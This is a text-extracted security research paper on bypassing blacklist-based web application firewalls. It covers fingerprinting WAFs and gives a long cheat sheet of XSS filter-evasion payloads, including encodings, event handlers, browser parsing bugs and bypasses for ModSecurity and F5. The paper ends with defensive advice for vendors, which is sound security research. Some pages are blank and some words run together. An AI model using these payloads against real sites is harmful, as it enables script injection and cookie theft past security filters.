Waf Bypassing by Rafaybaloch
Waf Bypassing by Rafaybaloch
Waf Bypassing by Rafaybaloch
com
Page 1
Table of Contents
1.1 FUNDAMENTAL CONCEPT .............................................................................................. 4 1.2 INTRODUCTION .................................................................................................................. 5 2.1 Fingerprinting a WAF ........................................................................................................... 5 2.1.1 Cookie Values ...................................................................................................................... 5
2.1.2 FingerPrinting Citrix Netscaler ......................................................................................................... 5 2.1.3 Fingerprinting F5 BIG IP ASM ........................................................................................................... 6
4.1 Approach for Bypassing Blacklists The Cheat Sheet ................................................... 16 4.1.1 Initial Tests ......................................................................................................................... 16
4.1.2 Testing For Other Tags ................................................................................................................... 17
4.1.3 Entity Decoding ................................................................................................................. 21 4.1.4 Encoding ............................................................................................................................. 21 4.1.5 Context Based Filtering .................................................................................................... 22 5.1 Browser Bugs ........................................................................................................................ 26
5.1.2 Charset Bugs .................................................................................................................................. 26 5.1.3 Null Bytes ....................................................................................................................................... 27 5.1.4 Parsing Bugs ................................................................................................................................... 27
Rhainfosec.com
Page 2
5.1.5 Unicode Separators........................................................................................................................ 28 5.2.1 Missing X-frame Options................................................................................................................ 29 5.2.2 Docmodes ...................................................................................................................................... 29 5.2.3 Window.name Trick ....................................................................................................................... 30 6.1 DOM Based XSS ................................................................................................................................. 30
Rhainfosec.com
Page 3
Acknowledgement
I am very lucky to have great mentors who have always been helping me whenever I get stuck. First of all, I am really thankful to my mentor "David Vieira-Kurz of MajorSecurity GmbH for his tremendous help and this paper would have not been completed without his help and support. I am thankful to Sir Mario heiderichof cure53 for his great help and ideas and motivating me to write this paper by myself. I am thankful to Ashar Javed for his ideas with the cheat sheet. I am also grateful to a great friend of mine Alex Infuhr of cure53 for his help and support. Rafael Souza and Preston Hackett for proof reading and organizing the material, Giuseppe Ohpe from elearnsecurity, Prakhar Prasad from securitypulse, Nishant das Patnaik, Deepankar Arora, Sikandar Ali and last but not least M.Gazzaly for his help with designing.
ABSTRACT
It is known that over the years, a trend that addresses the information security landscape has emerged, I mean, web applications are under attack, given this perspective, Web Application Firewalls are becoming increasingly popular, which are most commonly used by organizations to protect against various attacks such as SQL Injection, XSS, Remote command execution etc. Web applications continue to be a primary attack vector for cyber-crimes, and the charts show no sign of abating. Attackers are increasingly using network attacks via cross-site scripting, SQL injection, and many other infiltration techniques aimed at the application layer. Vulnerabilities in web applications are a target and can be attributed to many problems and damage to a company, means include, poor input validation, session management, insecure, system settings configured incorrectly and flaws in operating systems and server software web. It is noteworthy that humans err by nature; in fact, writing secure code is the most effective method to minimize vulnerabilities in web applications! However, we are subject to error while developing, writing secure code is much easier said than done and involves several key issues.
Rhainfosec.com
Page 4
1.2 INTRODUCTION
Firewalls, IDS and IPS are the most common security mechanisms that are often used to protect infrastructure from malicious attackers. Out of these, firewalls are the most commonly used, they are placed at the network layer and analyzes malicious packets as well as application layer, where their purpose is to monitor all HTTP and HTTPS traffic between clients and servers and based upon the preconfigured registered signatures in a data base. In general, the basic goal of an application layer firewall based network is to monitor and block user content that violates the pre-defined policy, in some cases these policies are patterns of user input, which can potentially end up in an attack. The main Insight to pass through a WAF is the order of semantically equivalent to an XSS attack craft, avoiding security policies. WAFs rely upon two of most common approaches, the whitelist and the blacklist, Whitelist means that the WAF only allow stuff that is present inside its database as a whitelist, whereas the blacklist attempts to filter out what should not be allowed. The most common approach is the use of blacklisting approach, which means that theyll filter out Known Bad, however blacklisting is the wrong approach and almost every filter based upon blacklists can be bypassed. This paper aims at explaining various methodologies that can be used for bypassing WAFs that particularly rely upon blacklist.
Rhainfosec.com
Page 5
One of the examples of such WAF is Citrix Netscaler. A simple non malicious GET request was performed to an application running Citrix Netscaler.
GET / HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: ASPSESSIONIDAQQSDCSC=HGJHINLDNMNFHABGPPBNGFKC; ns_af=31+LrS3EeEOBbxBV7AWDFIEhrn8A000;ns_af_.target.br_%2F_wat=QVNQU0VTU0lP TklEQVFRU0RDU0Nf?6IgJizHRbTRNuNoOpbBOiKRET2gA& Connection: keep-alive Cache-Control: max-age=0
The highlighted part is red (ns_af) are the cookies that netscaler has added as a part of the GET request, this reveals that the application is behind a citrixnetscaler.
Rhainfosec.com
Page 6
Response
HTTP/1.1 406 Not Acceptable Date: Thu, 05 Dec 2013 03:33:03 GMT Server: Apache Content-Length: 226 Keep-Alive: timeout=10, max=30 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 <head><title>Not Acceptable!</title></head><body><h1>Not Acceptable!</h1><p>An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.</p></body></html>
Rhainfosec.com
Page 7
Response
HTTP/1.1 999 No Hacking Server: WWW Server/1.1 Date: Thu, 05 Dec 2013 03:14:23 GMT Content-Type: text/html; charset=windows-1252 Content-Length: 1160 Pragma: no-cache Cache-control: no-cache Expires: Thu, 05 Dec 2013 03:14:23 GMT
Rhainfosec.com
Page 8
Rhainfosec.com
Page 9
Response HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: text/html Vary: Accept-Encoding Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Thu, 05 Dec 2013 03:40:14 GMT Content-Length: 2616 <!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Frameset//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-frameset.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>dotDefender Blocked Your Request</title>
Rhainfosec.com
Page 10
Rhainfosec.com
Page 11
Rhainfosec.com
Page 12
^ ^ _ __ _ ____ _ __ _ _ ____ ///7/ /.' \ / __////7/ /,' \ ,' \ / __/ | V V // o // _/ | V V // 0 // 0 // _/ |_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/ < ...' WAFW00F - Web Application Firewall Detection Tool By SandroGauci&&Wendel G. Henrique Can test for these WAFs: Profense NetContinuum Barracuda HyperGuard BinarySec Teros F5 Trafficshield F5 ASM Airlock Citrix NetScaler ModSecurity DenyALL dotDefender webApp.secure BIG-IP URLScan WebKnight SecureIIS Imperva
Rhainfosec.com
Page 13
^ ^ _ __ _ ____ _ __ _ _ ____ ///7/ /.' \ / __////7/ /,' \ ,' \ / __/ | V V // o // _/ | V V // 0 // 0 // _/ |_n_,'/_n_//_/ |_n_,' \_,' \_,'/_/ < ...' WAFW00F - Web Application Firewall Detection Tool By SandroGauci&&Wendel G. Henrique Checking http://www.target.com The site http://www.target.com is behind a F5 ASM Number of requests: 1
Rhainfosec.com
Page 14
Rhainfosec.com
Page 15
Rhainfosec.com
Page 16
<a href=http://www.google.com>Clickme</a> Was the <a tag stripped out? Was the href stripped out? Or the most common case, was data inside the href element filtered out?
Assuming that, none of the tags were filtered out, we would try inserting a JavaScript statement inside the href tag. <a href=javascript:alert(1)>Clickme</a> Did it trigger an error? Did it strip the whole JavaScript statement inside the href tag? Or did it only strip the javascript? Try mixing upper case with lower case and see if this passes by.
In case where JavaScript keyword is filtered and we are inside the href tag, there are lots of different types of encodings that we can use, however more on this later. Next, we would try an event handler to execute JavaScript. <a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a> Was the event handler stripped out? Or did it only strip the mouseover part after on.
Next, try inserting an invalid event handler to check if they are filtering out all the event handlers or some of it. <a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a> Did you receive the same response? Or were you able to inject it?
In case, where we were able to inject an invalid event handler with and it did not filter out on part of the event handler, this means that they are filtering out certain event handlers. With HTML5 we have more than 150 event handlers and this means that 150+ ways of executing JavaScript and there is a significant change that they are not filtering out the event handler. One of the less commonly filtered out event handler is the onhashchange. <body/onhashchange=alert(1)><a href=#>clickit
Rhainfosec.com
Page 17
Testing With Src Attribute Next, we would test for if the src attribute is being filtered or not, there are wide varieties of html tags that use src attribute to execute javascript. <img src=x onerror=prompt(1);> <img/src=aaa.jpg onerror=prompt(1);> <video src=x onerror=prompt(1);> <audio src=x onerror=prompt(1);> Testing With Iframe <iframesrc="javascript:alert(2)"> <iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg= =">
Testing With action Attribute Action being another attribute that can be used to execute javascript, it is commonly used by elements such as <form, <isindex etc. <form action="Javascript:alert(1)"><input type=submit> <isindex action="javascript:alert(1)" type=image> <isindex action=j	a	vas	c	r	ipt:alert(1) type=image> <isindex action=data:text/html, type=image>
Testing With formaction Attribute <isindexformaction="javascript:alert(1)" type=image> <input type="image" formaction=JaVaScript:alert(0)> <form><button formaction=javascript:alert(1)>CLICKME
Testing Withbackground Attribute <table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
Rhainfosec.com
Page 18
Testing With posters Attribute <video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
Testing with code Attribute <applet code="javascript:confirm(document.cookie);"> // Firefox Only <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
Event Handlers <svg/onload=prompt(1);> <marquee/onstart=confirm(2)>/ <body onload=prompt(1);> <select autofocus onfocus=alert(1)> <textarea autofocus onfocus=alert(1)> <keygen autofocus onfocus=alert(1)> <video><source onerror="javascript:alert(1)">
Nested Trick <marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)> <body language=vbsonload=alert-1 // Works with IE8 <command onmouseover ="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command> // Works with IE8
Using Throw When Parenthesis are Blocked This technique was discovered by gareth heyes, this is useful in scenario where parenthesis are being stripped out. <a onmouseover="javascript:window.onerror=alert;throw 1>
Rhainfosec.com
Page 19
Chrome and Internet explorer, the above vectors would throw up an uncaught error, however this could also be mitigated by using the little bit of hex magic. <body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
Expression Attributes <img style="xss:expression(alert(0))"> // Works upto IE7. <div style="color:rgb(''�x:expression(alert(1))"></div> // Works upto IE7. <style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
Other Miscellaneous Payloads <meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P"> <meta http-equiv="refresh" content="0;javascript:alert(1)"/> <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:\u0061lert(1);"></g></svg> // By @secalert <svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario <svg><![CDATA[><imagexlink:href="]]><img/src=xx:xonerror=alert(2)//"></svg> // By @secalert <meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/> <math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
XSS Payload when= ( ) ; : are not allowed: <svg><script>alert(/1/)</script> // Works With All Browsers ( is html encoded to ( ) is html encoded to )
Rhainfosec.com
Page 20
4.1.4 Encoding
JavaScript is a very flexible language, we have flexibility to perform several types of encodings such as Hex, Unicode, and HTML etc. However there are certain rules on what part of the payload to encode. In case where a WAF is decoding certain entities thats a different story, however here is the list of the certain attributes followed by the well-known encodings they support. Attributes: href= action= formaction= location= on*= name= background= poster= src= code=
Supported Encodings: HTML, Octal, Decimal, Hexadecimal, and Unicode Attribute: data= Supported Encodings: base64 Examples of encoding these attributes can be found inside the cheat sheet.
Rhainfosec.com
Page 21
Input Reflected Inside of <script> tags Consider the following scenario, where your input is reflected inside the <script> tags inside the following manner: <script> Var x=Input; </script> We are up against a filter that is not allowing opening and closing brackets (<>) therefore, we cannot close an existing attribute by something like ></script>, however in this case, we really dont need to close the script attribute to execute JavaScript, since our input is already reflected inside the script tag, we can directly call the alert(), prompt() confirm() functions and execute valid JavaScript. The following input would trigger up an alert.
Rhainfosec.com
Page 22
;alert(1)// The double quote and the semicolon would close up the existing attribute and the alert function would execute. Here is how it would look: <script> Var x=;alert(1)//; </script> Unconventional Event Listeners Often times can try using unconventional event handlers inside of JavaScript such as DOMfocusin, DOMfocusout, these events require event listeners for properly executing. Example ";document.body.addEventListener("DOMActivate",alert(1))// ";document.body.addEventListener("DOMActivate",prompt(1))// ";document.body.addEventListener("DOMActivate",confirm(1))//
Here is the list of some of event handlers of same category, Kudos to @secalert for the list: DOMAttrModified DOMCharacterDataModified DOMFocusIn DOMFocusOut DOMMouseScroll DOMNodeInserted DOMNodeInsertedIntoDocument DOMNodeRemoved DOMNodeRemovedFromDocument DOMSubtreeModified
HREF Context Another context that you would encounter very frequently is when the input is inside the href tag: Example <a href=Userinput>Click</a>
In that case, all we need to do is to directly insert the JavaScript, when the user clicks it the JavaScript executes.
Rhainfosec.com
Page 23
Example: javascript:alert(1)//
Variations It would be very common that almost every blacklist filter youd encounter would strip out the JavaScript keyword or look for JavaScript followed by a colon. In that case you can use HTML entities and URL encoding to bypass the blacklists, the href tag would automatically decode the entities. If all fails, you can also try using vbscript which works up to IE 10 or data URI. JavaScript Variations The following variations should be tested: javascript:alert(1) javaSCRIPT:alert(1) JaVaScRipT:alert(1) javas	cript:\u0061lert(1); javascript:\u0061lert(1) javascript:alert(document.cookie) // AsharJaved
Vbscript Variations: As mentioned above, Internet supports up to 10 supports vbscript, so we can use it to our advantage: vbscript:alert(1); vbscript:alert(1); vbscr	ipt:alert(1)" Data URl data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
JSON Context In a context, where your input is being reflected inside the encodeURIComponent, its very simple to trigger an XSS by simply inserting the JavaScript directly and it would execute in all modern browsers. Input Reflected encodeURIComponent('userinput') Example: -alert(1)-
Rhainfosec.com
Page 24
-prompt(1)-confirm(1)-
Here is how your input would look like when reflected: encodeURIComponent(''-alert(1)-'') encodeURIComponent(''-prompt(1)-'') The above statements are perfectly valid javascript statements. Input Reflected Inside Of SVG The user input inside SVG behaves differently, with the advent of HTML 5 there has been a dramatic increase in use of SVG, with that being in use it introduces lots of problems, consider the following scenario, where your input is reflected inside <script> tags and script tags are inside <svg> <svg><script>varmyvar=YourInput;</script></svg>
In cases where it is encoding character, itd still form a valid JavaScript syntax and execute: <svg><script>varmyvar="text";alert(1)//";</script></svg>
The reason why it executes is because it introduces an additional context (XML) into HTML context. A solution would be to double encode instead of a single encode of characters.
Rhainfosec.com
Page 25
We will try to inject our sample payload and take a look at the results: http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=><img src=x onerror=prompt(0);>
Since, we have a parameter that is able to set the charset, we will try changing it to UTF-32 and try injecting a UTF-32 based payload: scriptalert(1)/script So, when we will inject the above payload, it will be encoded to the UTF-32 encoding that we set, and then as the output encoding of the page is utf-8, it will be rendered as: "<script>alert (1) </ script>
Rhainfosec.com
Page 26
The final POC would look like as follows: http://xsst.sinaapp.com/utf-32-1.php?charset=utf32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80 The above payload would execute JavaScript inside of Internet explorer 9 or below, the reason why it would execute inside of IE9, because not only IE does not recognize the UTF-32 charset and so as Firefox, but also IE up till 9 consumes null bytes [0x00], whereas Chrome and Safari does recognize the utf-32 charset.
So, lets assume that a filter where its looking for a character (a-z) at the start of the nodename and is stripping it out. But in case where we can inject things the other special characters such as %, //,! etc., we can bypass the filter inside old versions of internet explorer, the reason being is that in older IEs payloads such as <%, <//, <!,<? Would get parsed as < and therefore we can inject our payload just after these characters. Here are few examples: Examples
<// style=x:expression\28write(1)\29> // Works upto IE7
Rhainfosec.com
Page 27
Reference: http://html5sec.org/#71
<!--[if]><script>alert(1)</script --> // Works upto IE9
Reference: http://html5sec.org/#77
Out of all the separators the x0b is a nasty one, Mod_security had applied a similar kind of reg-ex as described above, I used the following POC to bypass the mod_security the second time. <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6 C\x65\x72\x74\x28\x30\x29\x3B'>rhainfosec
Rhainfosec.com
Page 28
The following python snippet would print all the characters from the range of 0x00 to 0xff: count = 0 fori in xrange(0x00,0xff): count += 0x1 printchr(i), print count
5.2.2 Docmodes
Internet Explorer introduced doc-modes a long time ago, the functionality of doc-modes were to provide backward compatibility to older browsers, however this poses a significant risk, in case where an attacker is able to frame your website, he may be able to introduce doc-mode and would be able to execute CSS expressions likes as follows: expression(open(alert(1))) The following POC would insert IE7 emulator and render the website into an iframe: POC <html> <body> <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" /> <iframesrc="https://targetwebsite.com"> </body> </html>
Rhainfosec.com
Page 29
Rhainfosec.com
Page 30
Location.hash[2]= ( // Defined at the second position after the hash. Location.hash[3] = ) // Defined at third position after the hash.
The only obstacle against DOM Based XSS are the Client side XSS filters, however that my friends is a different story, we will take a look at methods to bypassing them inside a separate paper.
7.1 Bypasses
By tweaking the payloads mentioned inside the cheat sheet, we were able to bypass most of the popular WAFs. We have decided not to make some of them public until they get fixed as it would be against the ethics.
Reference: http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html
The above vector only works in IE6 and older versions of opera, at the time of writing we do have another valid vector for F5, BIG IP ASM and Palo ALTO that would execute javascript across modern browsers. However, the vendors are still fixing it so we decided not to make it public. Here is another bypass from @secalert for F5 BIG IP ASM:
/><marquee onfinish=confirm(123)>a</marquee>
Rhainfosec.com
Page 31
Conclusion
Hence, its concluded that Blacklisting is never the perfect solution; blacklisting saves time however makes the application more vulnerable than whitelisting. We would like to recommend the following best practices to the WAF vendors. 1) Developers and administrators should always keep in mind that a WAF is only a sticking plaster which should be used for a defined time-manner for a known vulnerable controller/param until the vulnerability has been patched inside the source code. 2) It is very important to keep the signatures for the WAF up to date and test new signatures before going live to ensure that work as expected.
3) A WAF can only help one if they are configured with the signatures needed for the particular controller/parameter, therefore it would need manual definitions like expected value type, min/max content-length, content-type and so one for each of this parameters to ensure that the WAF knows when to block or alarm with intrusive requests.
4) If a WAF relies upon blacklist, you should make sure that it is capable of blocking well known browsers bugs by keeping your signatures up-to-date and verifying that the WAF maintainers release new signatures regularly.
Rhainfosec.com
Page 32
References
https://zdresearch.com/zdresearch-xss1-challenge-writeup/ http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html http://html5sec.org https://cure53.de/xfo-clickjacking.pdf http://resources.infosecinstitute.com/demystifying-html-5-attacks/
Rhainfosec.com
Page 33